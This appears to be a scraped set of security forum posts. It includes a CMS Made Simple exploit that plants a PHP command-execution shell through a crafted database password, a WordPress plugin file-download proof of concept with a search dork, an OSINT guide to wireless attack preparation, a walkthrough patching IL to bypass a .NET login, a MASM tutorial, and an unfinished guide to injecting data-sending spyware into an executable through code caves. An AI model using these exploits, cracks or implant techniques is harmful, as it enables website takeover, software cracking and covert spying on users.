Aerosol

# CMS Made Simple PHP Code Injection Vulnerability (All versions) # 2014-12-02 # SAHM (@post.com) # cmsmadesimple.org # All versions ---exploit A malicious attacker can intrude every CMSMS-installed website by taking the following steps: Open the /install folder from the URL (The cms doesn't force users to delete the directory after finishing the installation progress). Ex: http://URL/PATH/install Pass through the steps to get to the fifth step. In a remote host, install a MySQL server and create the following user: user: test password : '.passthru($_GET['command']);exit;// Following that, Create a remotely accessible database and grant all privileges to the user (for further information please read : http://www.cyberciti.biz/tips/how-do-i-enable-remote-access-to-mysql-database-server.html) . Fill in the Database Information form (bottom of the page). db host address: the remote host's IP user: test password: '.system($_GET['command']);exit;// database name: the name of the remote database which has been built After installation, commands can be injected as: http://URL/PATH?command=blah%20blah ---prove At this point, the config.php file content would be something like this: <?php # CMS Made Simple Configuration File # Documentation: /doc/CMSMS_config_reference.pdf # Source

###################### # Exploit Title : Wordpress Ajax Store Locator <= 1.2 Arbitrary File Download # Exploit Author : Claudio Viviani # Vendor Homepage : http://codecanyon.net/item/ajax-store-locator-wordpress/5293356 # Software Link : Premium # Dork Google: inurl:ajax-store-locator # index of ajax-store-locator # Date : 2014-12-06 # Tested on : Windows 7 / Mozilla Firefox # Linux / Mozilla Firefox ###################### # PoC Exploit: http://TARGET/wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=[../../nomefile] "download_file" variable is not sanitized. ##################### Discovered By : Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww ##################### Source

Wireless Penetration Testing in my opinion is one of the most fun parts of Ethical Hacking. It incorporates application exploits once you are on the WLAN/LAN, web application hacking to attack router web interfaces and a lot of networking trade craft. Needless to say gaining complete control of a WLAN is a daunting task. Luckily there are ways to prepare for our attacks before we even arrive on site and most importantly many of these preparatory measures are impossible or very difficult to detect. The reason these measures are so hard for a company or person to detect is the information we gain does not need to come from the target, and when it does the target gave that information to anyone who knows where to look. The focus of this article will be on how to use Open Sources of intelligence to give us an edge in the field. Now for those who do not know Open Source intelligence or OSINT is the art and science of using publicly available sources to collect intelligence valuable to an attacker or competitor. Now OSINT can be applied to almost any form of penetration testing and hacking in general but this article is devoted to OSINT sources that can benefit a Wireless hacker. This article will also cover a list of suggested items and tools to bring when you arrive on site. The First source of intelligence we will cover and by far one of the most effective is SHODAN. While Google is a search engine for web sites SHODAN is a search engine for the actual computers. SHODAN works by scanning ranges of IP addresses and domains for specific services and then storing the results in a publicly available website. While it is possible to use SHODAN for free doing so limits the number of results and what services it reveals to you. How ever at the time of this article’s writing full access to SHODAN and a unlocked API key costs only 19 dollars and is well worth the cash. Now to make SHODAN work we need to give it a query, a query can be something as simple as “router” which will only show machines that SHODAN identified as a router or we can give it a HTTP(s),telnet,SSH or SIP banner and it will only show machines with that banner. Now like google there are advanced operators or “dorks” as some hackers call them. The ones most useful to a penetration tester are “net:” which when followed by an IP range will only display machines in that IP range that meet the parameters of the rest of the query and domain: which when followed by a domain name there is a community of SHODAN users who submit dorks they have found for specific Internet connected technologies, on of the things that SHODAN advertises is its ability to locate nuclear power plants and other SCADA systems that are connected to the Internet. Using these dorks under the Search Directory category is straight forward, click the link and then append the target’s IP range or domain to the query and if SHODAN has found machines that match that dork on that IP range or domain then relevant information on those machines will be displayed. By clicking the details link under the name of the country the machine is located in you can get a list of all services SHODAN has a record of being on that machine. Now this is all very useful for a penetration tester because it allows us to check if the target has critical network infrastructure facing the Internet. In some cases routers’ telnet and web interfaces are facing the Internet allowing for remote administration. Some times it is even possible to extract the encryption key for a network from miles away! Now Shodan can reveal other things that are useful for a wireless penetration test as well, the Shodan search directory is stocked with a wide array of dorks to locate various IP security Cameras, many of these Cameras have web interfaces with little to no security allowing a hacker to scout a location from the comfort of their own home (although this would not be OSINT). What is probably the most ubiquitous source of OSINT for a pen test is google’s very popular satellite image viewer Google Earth. Google earth gives us an bird’s eye view of the Physical Layout of the target’s location as well as any security measures that may be in place such as guard booths,checkpoints etc. What really makes Google Earth effective is its ability to go into street view where we can see any given location as if we where physically standing there what makes Google earth especially useful for Wireless penetration testers is GPS coordinates in the form of a KML file can be turned into a marker on Google Earth’s map. There exists another geographic intelligence that is by far one of the most useful for wireless exploitation: Wiggle, Wiggle is a service that allows war drivers, or people who drive around areas looking for wireless networks and recording their details to upload their findings to a central database and map which allows searching via street address, MAC address or ESSID. Wiggle is extremely useful for a Wireless penetration tester because it not only records the ESSID, or network name but its physical address and its encryption and authentication types as well. An attacker armed with this data could generate a rainbow table to crack WPA personal encryption with out having to set foot on site. Wiggle has a web interface to view its worldwide database of wifi,GSM and CDMA networks but windows and Java clients are available but require map packs of the target area to be downloaded. It should be noted that while Wiggle is free it requires registration with the site to access data. While technically not a Open Source of intelligence DNS records can provide a wealth of data useful to a Wireless hacker. DNS brute forcing, or looking up possible sub domains on a network from a list of common names is the most effective way of locating servers on a particular domain. One of the most efficient and simple tools to do DNS brute force enumeration is reverseraider in the backtrack toolkit under information gathering and DNS analysis , it can quickly and efficiently carry out a DNS brute force or a Reverse DNS brute force where it checks every address in a IP range for a DNS record. Both are effective methods of locating services on a network and getting an idea of how the network is set up. Using reveseraider is simple and the screen shots below show both a DNS brute force and a brute force in reverse: [mg]http://resources.infosecinstitute.com/wp-content/uploads/041312_1627_OSINTandpre7.png as we can see reverseraider is a simple tool, you tell it what wordlist to use with -w and the wordlist’s directory and -d and the domain you wish to enumerate or -r with the IP range you wish to scan. While many DNS servers block certain records from being accessed outside of their network many networks still leak records they should not. This is extremely useful for a wireless hacker because we can know what kind of servers they have by their name. For example if we see a server named radius.target.com we can assume they have a net logon system and possibly make use of PEAP or some other form of EAP for wireless security if they have a machine names ids.target.com or wids.target.com then we can assume they have a Intrusion Detection System and we best be on our guard when attacking this network. While some DNS enumeration tools make use of DNS Zone transfers to access DNS records that normally would not be accessable I do not recommend this for a penetration test because many IDS solutions are capable of detecting Zone transfers and alert administrators when they occur. The Target’s website can also give us insight into how their network works. For example if we see the website is made up entirely of ASP.NET web pages and uses IIS as a web server then we can assume that it is most likely a windows shop. Also when doing reconnaissance on the Target’s web page look for information on partnerships and contracts with IT companies and security best practices. Another thing to look for is instructions on remote access and default passwords for employees as this will be useful when we actually attack the target. Social Networking sites such as Facebook and Linkedin can offer insight into what kind of people the target hires as well as what companies they do business with. But what may be even more useful is that many IT professionals post their resume and credentials on Linkedin. This is very useful because it gives us insight into what kind of training their IT staff has and what vendors they prefer or use frequently as well as how much effort they will put into securing and monitoring their WLAN and LAN. Social networking sites such as Twitter and FourSquare can also reveal their working habits which can be used to determine an optimal time to attack. Also metadata on the images and other files they post on Social Networking sites can be used to ascertain what programs and Operating Systems they use. Social Networking sites often are a place where IT professionals vent about technical issues they have at work which can reveal information about the Target’s IT setup. Finally Social Media is a great source of email addresses and other login names and credentials as well as information that can be used to generate a wordlist. Another source of documents pertaining to technical or organizational procedures targets may use is a website called Docstoc: Make Your Business Better docstoc is a repository of documents ranging from IT stratigies to legal and business practices. This is very useful especially if the pen tester is attacking a company in an industry he or she is not familiar with so he or she could “bone up” to fit in the enviornment better or to Social Engineer them better. Earlier in the article I mentioned that metadata can be extracted from documents the target’s employees post on Social Networks there exists a tool called FOCA that not only extracts metadata from a target’s website but it makes use of many of the tools and techniques we mentioned such as shodan, the target’s website,DNS etc. how ever the goal of FOCA is not just a tool to enumerate these services but to extract and fingerprint metadata from documents on these servers. One of the most revealing documents a target can put on the web is a Microsoft Word .doc file, these files can contain information on the machine that they where made on such as the version of the software used to make it, Operating System version and type and even user names and sometimes passwords of the user logged on at the documents creation. All of which can be very useful to a wireless attacker. For example knowing what Operating system and word processor the target uses can be helpful when preparing a client side attack. And knowing the target’s windows login information is always useful. While tools like FOCA and Maltego are advertised as all-in-one tools and many penetration testers use them as such I personally have found that all-in-one tools often generate false positives, miss things or are ineffective. In my opinion dedicated tools tend to be more accurate and offer related functionality that tools like Maltego can not. How ever Maltego does have it’s uses, it is a great tool to visualize and organize data gained from other tools. While not a source of intelligence on 802.11 networks it is still a highly comprehensive source of intelligence on wireless frequencies registered to a organization or physical location it is called radioreference.com this website is a source of FCC registered frequencies as well as those submitted and used by HAM radio operators not only does it keep records of the frequencies and related information but allows through a web interface to listen to those frequencies. This is useful if a target’s security personnel use unencrypted radios letting an attacker monitor the target to determine when is the best time to attack the network. To use Radioreference.com click the database button on the main page then click on the state on the map that your target is in and then the county, at this point you can scroll through all the registered frequencies in that area or click on the type of organization the target is and relevant information will be displayed. If you want to check if the target has unencrypted walkie-talkies that you can listen to on the top of that page is a tab saying Live Audio where you can see if your target is listed if it is click on the speaker icon next to its entry and a new tab will be opened where the audio on that frequency will be displayed. Obviously the ability to listen to a target’s security force operate can reveal not only security practices but lingo which can be useful in a social engineering attack. The last source of OSINT I will cover in this article is EDGAR, EDGAR or the Electronic Data-Gathering, Analysis, and Retrieval system is a service provided by the United States Government’s Securities and Exchange commission that makes many documents companies and governments operating in the United States publicly available. These documents can range from tax filings to quarterly reports. And can make understanding the scope of a target and the relationships it has with other companies and governments easier to understand. For a wireless attacker this is useful because he or she can infer from these documents what kind of technologies are used by the target. For example, if a company made a purchase of a large amount of surveillance equipment from a foreign company chances are they have extensive camera coverage. While EDGAR does not always help a wireless attacker it can help to give a target a quick query. Now that we have enumerated services on the Target’s network, did remote reconnaissance on the technical setup of the wireless network and it’s physical location and have an idea of how the target is organized and how it’s security staff operates. It is almost time to head out and conduct the penetration test. But first we must allocate the resources we may need for the attack. One thing we may need is a server running a metasploit listener on a pre determined port as well as a netcat listener also on a pre determined port. We also may need on that server a backdoor to download onto target machine or to inject via Man In the Middle attacks on the wireless network. We may want to download up to date exploits for various routers, this can be targeted based on information we gained from our OSINT sources. We obviously will need wifi adapters that support monitor mode and packet injection. We also may need access points for honeypot attacks. We may need GPS adapters to log key areas on site. We definitely will need a white list of ESSIDs and MAC addresses of the target’s infrastructure as well as a document giving us permission to conduct the penetration test preferably signed by the target’s chief security and information technology officers. We also may need a car with a full tank of gas assuming our reconnaissance with Google earth tells us it can be useful. We also may need prepaid cell phones and SIM cards to keep in contact with the rest of the team as well as for Social Engineering attacks. But all of these things depend on the scope of the penetration test as well as the enviornment we are attacking. As you probably can tell our OSINT sources can help us weed out what preparatory work we need to do and what resources we need to allocate. At this point you are ready to go into the field and carry out a wireless penetration test with greater efficiency then if you where to go in blind. Bellow are links to all the tools used in this article although many of them can be found in backtrack 5 R2: reverseraider: Complemento. Collection of tools. SHODAN: http://www.shodanhq.com/ Maltego:Paterva / Maltego Informática 64 Wiggle: http://wigle.net/gps/gps/main Google earth: Google Earth Radioreference: RadioReference.com - Scanner Frequencies and Radio Frequency Reference docstoc: Docstoc: Make Your Business Better EDGAR: SEC.gov | Company Search Page Work cited “Company Search.” U.S. Securities and Exchange Commission (Home Page). Web. 14 Mar. 2012. <http://www.sec.gov/edgar/searchedgar/companysearch.html>. “Plotting Wifi on Maps.” Wiggle Wireless Geographic Logging Engine. Web. 14 Mar. 2012. <http://wigle.net/gps/gps/main>. “RadioReference.com – Scanner Frequencies and Radio Frequency Reference.” RadioReference.com. Web. 14 Mar. 2012. <http://www.radioreference.com/>. “SHODAN – Computer Search Engine.” SHODAN. Web. 14 Mar. 2012. <http://www.shodanhq.com/>. Source

Abstract Obfuscation is a distinctive mechanism equivalent to hiding, often applied by security developers, to harden or protect the source code (which is deemed as intellectual property of the vendor) from reversing. The goal of such an approach is to transform the source code into new encrypted byzantine source code symbols which have the same computational effect as the original program. By applying effective obfuscation over the source code, it is difficult for a vicious-intentioned person to analyze or subvert the unique functionality of software as per his requirements. Vendors typically seem to be safe by ensuring obfuscation over their intellectual property, but unfortunately, software code is not safe from being modified even after applying obfuscation; it still can be cracked. However, this phenomenon can be illustrated by applying sort of rare tactics to bypass the obfuscation mechanism in order to reverse engineer or alter the inherent functionality of software. Essentials Software de-obfuscation is considered to be one of the complex undertakings in reverse engineering and is achieved by going through numerous phases. First, the researcher is required to have a thorough understanding of coding under .NET CLR because we shall reverse engineer a .NET built software which has source code that is already protected. Moreover, the researcher must know how to obfuscate a source code, as well as have a comprehensive knowledge of IL assembly language to alter the .NET software binary instructions sets as per their needs. The following list outlines the software that must be installed on his machine: Visual Studio 2010 or later Reflector or ILSPY Reflexil (Add-on) CodeSearch (Add-on) IL Assembly Language Obfuscation Analysis It is a very difficult and often time-consuming process to reverse engineer a compiler-generated code, especially as things gets even worse when machine code is in encrypted or obfuscated form. Such compiler-generated code is deliberately constructed in encrypted form to resist analysis from reverse engineers. Some examples of situations in which obfuscation might be applied are as follows: Protection of intellectual property—Commercial software typically has protection against unauthorized duplication by employing further obfuscation for the purpose of obscuring the implementation particulars of certain crucial segments of the mechanism. Digital Rights Management— leading contemporary applications are often obfuscated by employing DRM schemes, which commonly protect certain crucial pieces of information (e.g., protocols and cryptographic keys) using obfuscation. Malware— Hackers and reverse engineer criminals practice obfuscation for avoiding the detection of malware signature from anti-virus search engines. Let’s consider the following sample software, which is typically first asking for a password to enter into the system. This software is responsible for manipulating a sort of classified information of secret agents, and only highly privileged personnel can access such confidential details on behalf of secret keys. Figure 1.1 Fortunately, we somehow obtain this software from a disgruntled employee, but the problem is that we don’t have the list of access keys to log-in into the system. Hence, the only option is left to reverse engineer this software for the purpose of revealing password information or identifying another crucial piece of blocks so that we can subvert the authentication mechanism altogether. So, first make sure with the platform origin of the software on which it is actually built, actually determine the type of executable we are dealing with. CFF explorer might assist to extract such details as follows: Figure 1.2 Great!! This software is built and compiled under .NET CLR framework. It is rather easy to decompile .NET assembly by using a couple disassemblers such as ILSPY, Reflector and ILDASM, because such tools are competent enough to decompile the .NET binary into actual source code. As we stated in earlier articles, ILDASM can decompile IL assembly code of an executable, moreover it is possible to recompile that modified IL code with different name using ILASM.exe; however we tried ILDASM here, but it could not save us because IL code is also fool-proof protected, and ILDASM can’t decompile it as follows: Figure 1.3 Anyway, Reflector or ILSPY would be truly a rescuer in this situation, because unlike ILDASM, they can decompile the source code in original format along with IL assembly code. But here, we shall have some to confront with some other considerable issue, as the software intellectual property is protected. Reflector would decompile the accompanied classes, methods and property of this assembly, but in encrypted form as follows: Figure 1.4 From the aforesaid figure 1.4, the members of this assembly are displaying in some bizarre symbols, whose meanings are almost impossible to comprehend. Let’s expand any of class or namespace, again an inexplicable symbol is found in both panes, and if we select any of the members from the left pane in search of C# code, it does decompile the source code in C# language with obscure symbols, but seems irrelevant altogether with actual functionality as per our speculation. Figure 1.5 Perhaps Reflector doesn’t fit in such circumstances. Let’s try another disassembler, such as ILSPY. Same result, it will also decompile or yield C# source code, but in obscure constructs as follows: Figure 1.6 So, it is concluded that none of decompilers can assist us when the software code binary is protected by obfuscation to resist from analysis, because such binary is submerged with stubs and inexplicable symbols which connotation can’t translate into original form. Software Functionality Analysis We have source code of this software, but in encrypted form, totally useless for further manipulation. We could not get much of a useful description, even from the disassembled C# code. So, we have to take up another effective approach by examining the functionality of this software so that we could get some clues. The moment the user hits the Logon button after entering the password, the system displays an alert message box which says “Password is Incorrect”. Moreover, when user clicks the OK button in the message box, the application unloads automatically. This is the Hack!!!!! Figure 1.7 So, there are some interesting points we can assume from this software functionality which might be very helpful while manual tracing of crucial code blocks as follows: Locate MessageBox.Show implementation. Locate Environment.Exit() method implementation. Locate Exception Handling blocks. Locate Hide() method implantation. Search string Password is Incorrect. Search string Access Denied. Locate Text Box and Buttons implementation. Interested Code Block Disassembling Up till now, we have a better understanding of code obfuscation; now the question is, how do reverse engineers take up such a challenge? Manual analysis of obfuscated code is such a complex task and almost impossible to achieve, because obfuscated code is in the form of a wide variety of strange symbols whose meaning are incomprehensible or entirely irrelevant to actual functionality. What tools or unique tactics are at their disposal to break into obfuscated code? Let’s come again over encrypted disassembled code in the reflector. It is showing as members of this assembly in inexplicable symbols forms. As a rule of thumb, just only concentrate over the Pink Brick icons in the reflector, because they contain the real code. The remaining is worthless for reverse engineering as follows: Figure 1.8 We have obtained some point of interest earlier from our thorough analysis. Now, we have to perform a search operation in the assembly on the basis of such crucial points by using one the CodeSearch add-on of the reflector. Make sure that the CodeSearch add-on is properly configured in the reflector and open it. Now perform the following searches as: Locating MessageBox.Show() method After selecting Deobfus.exe from the left pane, type the MessageBox.Show or MessageBox in CodeSearch and hit enter. It is yielding a single result which points out the method in the left pane, where the implementation is specified as follows: Figure 1.9 Locating Environment.Exit() method Now we search for the Exit Keyword and we find two results. If we click any of them, we can get the method name where its specification is mentioned as follows: Figure 1.10 Locating “Password is Incorrect” string Unfortunately, CodeSearch doesn’t show any results pertaining to this string, because strings are typically encrypted for obsfucation. Figure 1.11 Note: CodeSearch is case-sensitive Locating Exception Handling blocks It is assumed that programmers would have used the try/catch block to handle unexpected run time while coding. So search these blocks, here we have found some interesting code blocks and it is very relevant to the actual implementation as follows: Figure 1.12 Locating Hide() Method The application is unloaded automatically when the user clicks the OK button in the message box. Again, search on behalf of this keyword produces very significant results, which resembles the previous search as mentioned in figure 1.12. Figure 1.13 So we can easily conclude from our search analysis that this is the only method where the password authentication functionality would be code. Even if the software code is obfuscated, hopefully identifying an item of interest will lead us to the code we want to reverse or bypass. Cracking Obfuscated Code Until now, we have gathered sufficient information from disassembled code analysis to subvert the inherent functionality of this software. We have found this code block which is responsible for validating a user on behalf of his correct password, as we can notice and assume in the if condition block. Moreover, if the user enters the correct password, the parent form will be unloaded and successful authentication will bring up another window which is responsible for manipulating classified information. Figure 1.14 So these code segments contain everything that we are looking for. But there is one more thing we could search to ease reverse engineering. Here, the If condition block is evaluating on behalf of a Boolean value, so it might contain a method definition. However, we have to perform one more search in order to identify that method where actual password authentication code would reside. Hence, search true or false string via CodeSearch again. Bingo!!! It produces the exact method code specification as follows: Figure 1.15 Now after, it is time to modify and patch the crucial identified code corresponding to the IL code instructions to subvert the mechanism. Such IL modification could not be done by Reflector alone. Instead, one of its add-ons, Reflexil, shall perform IL assembly code modification. Higher level programming, such as C#, gets converted to CIL instructions which will then be JIT compiled into native machine code at run time. Hence, such opcodes are at the heart of CIL and tell the application what to do. In the lower section of the following figure 1.16, Reflexil is showing CIL code to the corresponding C# code mentioned in the upper section. Looking through the code and CIL, we see an interesting instruction at offset 0 as idc.i4.0, which is actually setting the flag value to false. In the next instruction set, the passed argument is compared with a predefined value (which is the password but in hash form), and finally this method returns a Boolean value. Figure 1.16 So, here are two hacks to subvert this authentication. Either we permanently configure the flag value to true at offset 0, or force the if condition block to always evaluate true at offset 18. Hence, in both of cases, flag value would be true no matter what argument is compared in the if condition block. We have to do something: brfalse.s ? brtrue.s at offset 18 ldc.i4.0 ? ldc.i4.1 offset 0 In order to modify the brture.s IL instruction, first go to offset 18 and right click, then hit the edit option. Finally, you find the following windows whereby you can modify that particular instruction as follows: Figure 1.17 And to change the flag Boolean value to always true, first select and perform the same operation like earlier. Finally, make sure with the following changes: Figure 1.18 There is one more option to subvert this authentication. As we can see, these three lines are more than likely responsible for getting input from the user via a text box, which is passed as an argument in the method this.STX(…); Once that function return values either True or False, the expression the condition is getting evaluates further and determine that either a new window will be loaded or a Password Incorrect message reflects. If we delete that particular section highlighted in figure 1.19, then this.STX(…) will never ever be called or evaluated, and we should be free from entering the password in order to login. So delete the following line mentioned in the right side of the following image 1.19. Figure 1.19 Finally, we are done with all CIL code modification, now right click on the exe?select Reflexil ? Save as. This operation makes such a change permanently into a new patch version of this software, which is free from authentication limitation. Figure 1.20 Now, run this patched exe file, as usual, an authentication mechanism is opened and it asks to enter the password. Don’t worry, enter any raw value and hit the Logon button. Bingoooooo!!!! We have bypassed the password limitation, now we can access the classified information which was supposed to available only for authenticated users. So, this is how we can reverse engineer an obfuscated executable by applying an effective analysis approach, even if we don’t know the password, or the source code of this exe is obfuscated. Figure 1.21 Figure 1.22 Final Note It is relatively easy to reverse engineer a .NET executable when its source code is not in hash form, but deemed very complicated to decompile the source code, especially the commercial software which source code protects from being analyzed and reverse engineered. In this article, we have performed reverse engineering over a protected binary by deep analysis of both obfuscated source code and MSIL assembly code. We’ve successfully modified the application to subvert authentication, even with not having the password. So, this how we can modify any software executable whose source code is even obfuscated, in case its license is expired, we have lost the password, or we are subverting another functionality. Source

MASM is maintained by Microsoft and is an x86 assembler that consumes Windows and Intel syntax to produce a COFF executable. It is compatible for both 16 bit and 32 bit sources. Fortunately, Microsoft’s Visual Studio IDE endorses MASM programming tasks just by making a couple of project property changes. The prime objective behind this article is to introduce the power of assembly code in terms of speed and full control over programs which are typically not seen in other programming languages. Even though there are numerous editors and software available to do such a task in a standalone way, the aspirant system or security programmers who are only limited to .NET software IDE so far can enter into the real system programming world by using none other than visual studio IDE. Prerequisite In this article, we would get an understanding about creating both EXE and DLL using MASM with Visual Studio. So, the newbies should to have a brief knowledge of these technologies: Visual Studio 2010 or Later Version MASM (Microsoft Macro Assembler) SDK Library Basic Assembly Coding Competency VC++ Developing EXE using MASM We shall demonstrate assembly programming by creating a simple Windows executable which typically shows “Hello World!” in a message box the moment it is initiated. It is very tricky to do such an implementation because Visual Studio 2010 IDE doesn’t offer any explicit templates for writing assembly code like C#, VC++ and VB.NET programming languages. It in fact has an in-built option to compile or run assembly programs. Opening New Project We shall have to create a VC++ project solution which later is accompanied with an assembly code file. Hence, open Visual Studio and choose an Empty Project of VC++ template type. There is no need to create a sub-directory for this empty solution, so uncheck the corresponding check box as follows: Once the test_masm of VC++ type solution is created, go to the solution explorer and right click to choose Build Customization option as follows: The Build Customization options open up the MASM compiler options which uncheck by default. This is the key option which must be enabled in order to edit and compile the native assembly code file. Assembly Coding As we have stated earlier, VS 2o1o doesn’t provide assembly file templates, however choose a project from the solution explorer and right click to add a text file which will be provided a *.ASM extension as follows: Now, a blank text.asm file is added to our test_masm solution. Open it and paste the following assembly code, which is responsible for displaying a message box, as follows: .386 ; Tells MASM to use Intel 80386 instruction set. .model flat,stdcall ; Flat memory model option casemap:none ; Treat labels as case-sensitive include masm32includewindows.inc include masm32includekernel32.inc includelib masm32libkernel32.lib include masm32includeuser32.inc includelib masm32libuser32.lib .data ; Begin initialized data segment MsgBoxCaption db "Win32 Assembly Programming",0 MsgBoxText db "Hello World!!!Welcome to ASM Programming under CLR",0 .code ; Beginning of code start: ; Entry point of the code invoke MessageBox, NULL, addr MsgBoxText, addr MsgBoxCaption, MB_OK invoke ExitProcess, NULL end start The assembly code file is written, but keep patience, this is not ready to compile or execute because some of important project settings are still remaining. Mandatory Project Configurations Successful execution of an assembly code file with Visual Studio IDE depends on an external library file, which will be available from MASM SDK. Hence, choose project Properties by right clicking it from the solution explorer. Here, choose General by expanding Linker and in the Additional Library Directories, insert the path of include, lib and macros directories as follows: Next, come to the Input section in the Linker and mention the reference of masm32.lib file as additional dependencies: It is not required to generate a manifest file for such manipulation, hence disable it as follows: Now, come to System from the Linker and set Windows in the subsystem section as follows: Finally configure the code entry point as the start from the Advanced option in the Linker, which determines the code execution flow. We can identify the entry point of the ASM file from the .code section. Now come to the Microsoft Macro Assembly section from the solution properties which appears the moment when we add an assembly file in solution directory, otherwise it shall be hidden. Here, set the directory name where the MASM SDK was installed earlier as follows: Finally, everything is ready and the solution is compiled. If the whole configuration is correct, then a test_masm.exe file is created in the Debug folder of the solution. Testing and Debugging It is time to test the executable. When the exe is clicked, a “Hello World!” message box would appear as follows: We can even debug the assembly code by inserting a breaking point as a specific location, and through the Register window in the Debug menu, we can observe all the CPU registers with corresponding flags as follows: We shall cover the advanced debugging of an application in later articles. The following image shows the assembly code in debug mode which helps us to understand what is happening behind the scenes. Although this section is not relevant to this article, but just for knowledge point view, we can disassemble any C++ file to its corresponding ASM code. The Visual Studio IDE is inbuilt with a Disassembly option, which is very helpful to detect a run time bug such as buffer overflow in the code via converting the source code file to an assembly code file as follows: Developing DLL using MASM In the previous section, we have seen how to create an EXE file using MASM with VS 2o10. We can also develop a library (DLL) by using MASM programming much like other technologies such as C#, VB, and C++. Therefore, the method can be utilized in the other client application in that created DLL. The procedure of generating a DLL is almost the same as EXE but requires some subtle configuration. First of we have to set Configuration type as DLL in the General section because now we are dealing with DLL. Such modification can happen from solution properties as: And as we all know, DLL files are libraries which contain method definitions. Entry point is typically absent in the DLL file. Hence we have to change this setting as follows: Finally, add a text file as masmlib with ASM extension in the solution like earlier and place the following code, which typically contains a testing method which will show some alert during the load and unload of DLL in the client program as follows: include masm32includemasm32rt.inc .data dLoading BYTE "HELLO ,DLL is Loading.....", 0 dUnloading BYTE "DLL is un-loading.???????", 0 dOrdinal BYTE "Good-Bye", 0 .data? hInst DWORD ? .code testingMethod proc hInstDLL:DWORD, fdwReason:DWORD, lpvReserved:DWORD .if fdwReason == DLL_PROCESS_ATTACH invoke MessageBox, HWND_DESKTOP, offset dLoading, NULL, MB_OK push hInstDLL pop hInst mov eax, TRUE ret .elseif fdwReason == DLL_PROCESS_DETACH invoke MessageBox, HWND_DESKTOP, offset dUnloading, NULL, MB_OK .elseif fdwReason == DLL_THREAD_ATTACH .elseif fdwReason == DLL_THREAD_DETACH .endif ret testingMethod endp ProcByOrdinal proc invoke MessageBox, NULL, offset dOrdinal, NULL, NULL ret ProcByOrdinal endp end testingMethod Finally, compile this program and test_masm_dll. The DLL file would be created in the Debug folder which can referenced in the C++ program or in the MASM client program itself. Final Note So, we have seen how to create both EXE and DLL files using MASM programming languages employed with visual studio IDE. In fact, such a task could be achieved by hard-core MASM SDK but .NET programmers typically fear assembly programming due to strange syntax and platforms. Assembly language programming opens a new horizon of advance coding in terms of faster code executing, exploit writing and shell-coding. Programmers are often comfortable with Visual Studio due to having numerous in-built features and functionality. Hence, this article is dedicated to those professionals who are planning to shift towards system programming without leaving the .NET framework. Source

@Nytro eu acum 2 zile l-am citit pe acesta Java Code To Byte Code - Part One E destul de interesant si detaliat. Pentru ASM acesta Assembly Programming Tutorial Acum am mai postat unu https://rstforums.com/forum/93378-assembly-programming-visual-studio-net.rst#post592146

Implanting malicious code in the form of spyware to an existing running process is one of the more sophisticated tasks. Before the advent of disassembler or patching tools, the malevolent code is usually invoked from the hard-core programming code, which is a very exhaustive process in itself, because we had gone through with programming code written especially in C or VC++. This paper demonstrates exclusively the invoking of a covert code along with the foremost executable by using OllyDbg and IDA Pro disassemblers. Such covert malicious code is triggered without the having the assent of the user; more precisely, the moment when the specific methods are executed from the leading EXE, the spyware becomes automatically activated surreptitiously. Essential The subsequent operation requires an exhaustive understanding of Hexadecimal Code and Assembly Programming. This operation lists the following tools of the trade as: The Victim Binary Spyware Executable OllyDbg IDA Pro Interactive Dissembler The Target Binary (Victim) We shall deploy the spyware in a simple Game Registration executable to showcase the code injections mechanism. The Game Registration typically requires serial keys to validate the authentic copy of this product and register or enable the full version as shown below. Figure 1.1: Target GUI This EXE is chosen to be a victim infected with a covert spyware. It doesn’t matter what is the actual name and serial keys of that program. We are in fact not provided with such sensitive information. The key matter of interest for the reverse engineer is the subsequent Error box which typically appears when a serial key is not validated. Figure 1.2: Error Message in Target This Error message box would become the entry point of the malicious covert code. The moment when the user is confronted with the aforesaid Error message box, the spyware becomes executed. That is what we are trying to achieve in this paper. Spyware Code The following spyware program typically shows the machine name and IP address of the computer where it runs and sends back such critical information to the hacker server. We don’t need to go into details of the spyware code. It could be any EXE program which injects into a binary. After compiling that code, it will look like as the following figure. It is showing a fake value of the computer name and IP address because crucial values are not disclosed due to a security point view. Figure 1.3: The Spyware GUI Victim Binary Analysis One question might bother you: why do we need IDA Pro, while we can perform code injection using OllyDbg itself? IDA Pro assists you to identify the entry point instruction code of the jump statement from where the message box assembly instruction starts to execute. As we have described earlier, the prime matter of interest is to get the details about the message box activation code. Here, we can easily identify the first message box occurrence after the 0040115E offset. Well, this code manipulates a couple of other message boxes indeed. But we have to recognize the very first message box. Figure 1.4: Message Box invoking instruction in Target So, we will search at 0040115E offset in the OllyDbg to find the message box assembly code in order to modify it to suit our need. We can duly confirm the message box occurrence by placing a breakpoint at 0040115E in IDA Pro and start debugging. If we entered a short name, then the graph view of the assembly code clearly indicates the execution flow toward the message box code as follows: Figure 1.5: Target Execution Flow Spyware Injection Now, it’s show time. Open the victim.exe binary in the OllyDbg to inject the spyware code. Here, the $ sign at offset 004015ED indicates the entry point of the executable as follows: Figure 1.6: Target Entry Point in OllyDbg Every executable has some empty space referred to as Code Caves where we can place or inject any external binary code. So, if you scroll down a little bit, you will easily identify the blank area named as DB 00 or NOP in the assembly code. Figure 1.7: Empty Regions (Code caves) in Target As from the aforesaid figure 1.7, the DB 00 instruction starts from the 00405188 offset. So, we shall place our external spyware code in these code caves. Select a couple code caves instructions and right click, choose Binary and then edit as follows: Figure 1.8: Binary Editing in Target NOTE: place both victim.exe and spyware.exe into single directory folder Now, label the spyware program executable as spyware.exe in the ASCII box, as we have selected code caves from 0040518A, which means start editing from this instruction. Its corresponding hex code is automatically generated and placed at the 0040518A offset. Figure 1.9: Placing Spyware Name in Target NOTE: Assembly is strict Case-Sensitive language. So be cautious while entering the names in ASCII box. After pressing the OK button in figure 1.9, some raw uncomprehend-able code is generated at offset 0040518A in the RED COLOR as follows: Figure 1.10: Injected Spyware code in Target Don’t worry, just analyze the code by pressing CTRL+ A now, and this time, we get the original entered code which virtually shows the spyware victim.exe name as follows: Figure 1.11: Analysis in Target Now, we have to write the spyware offset address value into memory. However, move forward just one step and at offset 00405195, press space bar button. Here, we found assemble code box. Just enter PUSH 1 here and click on the Assemble button. Figure 1.12: Injecting PUSH instruction Target Again come to the 00405197 offset and press the space bar; here enter the PUSH 40518A code which pushes the spyware EXE instruction into memory. Figure 1.13: Injecting Spyware name in PUSH Here, notice that we are giving the reference of spyware.exe located at offset 0040518A to 00405198 as follows: Figure 1.14: 